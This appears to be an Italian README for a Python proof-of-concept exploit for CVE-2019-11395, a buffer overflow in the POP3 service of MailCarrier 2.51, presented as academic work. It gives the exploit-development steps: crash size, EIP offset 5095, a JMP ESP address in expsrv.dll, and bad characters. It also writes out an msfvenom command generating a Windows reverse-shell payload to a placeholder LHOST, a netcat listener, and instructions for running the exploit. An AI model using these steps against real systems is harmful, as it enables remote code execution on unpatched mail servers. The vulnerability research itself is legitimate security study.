
# Exploit Python per CVE-2019-11395, un buffer overflow nel servizio POP3 di MailCarrier 2.51 Genera un payload di reverse shell tramite msfvenom e consente l'esecuzione remota di codice su target Windows.
La vulnerabilità CVE-2019-11395 descrive una vulnerabilità di buffer overflow nell'applicazione di posta elettronica MailCarrier 2.51, che consente l'esecuzione remota di codice. La vulnerabilità si verifica nei processi SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP o POP3 RETR.
Durante lo studio accademico, l'attenzione è stata focalizzata sui processi POP3 per creare una Proof of Concept (PoC). È stato identificato che l'invio di 6000 byte all'applicazione ne causa l'arresto del funzionamento, rivelando così la vulnerabilità di buffer overflow.
msf-pattern_create -l 6000 per identificare con precisione l'EIP.msf-pattern_offset -q 6E47386E -l 6000, ottenendo un offset dell'EIP di 5095.expsrv.dll con ASLR disabilitato, adatta per un JMP ESP.\x00\x0a\x0d durante i test per i caratteri non consentiti.msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.CVE-2019-11395.py per ospitare il payload.nc -lnvp 4444 ed eseguito l'exploit (CVE-2019-11395.py) per ottenere l'accesso all'ambiente e validare la CVE descritta.Segui questi passaggi per utilizzare l'exploit:
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 exitfunc=thread -f python -b "\x00\x0a\x0d" -v shellcode.msfvenom.CVE-2019-11395.py per sostituire la variabile shellcode con l'output ottenuto dal comando msfvenom.CVE-2019-11395.py) per ottenere l'accesso all'ambiente e validare la CVE descritta.
Visita il mio profilo su LinkedIn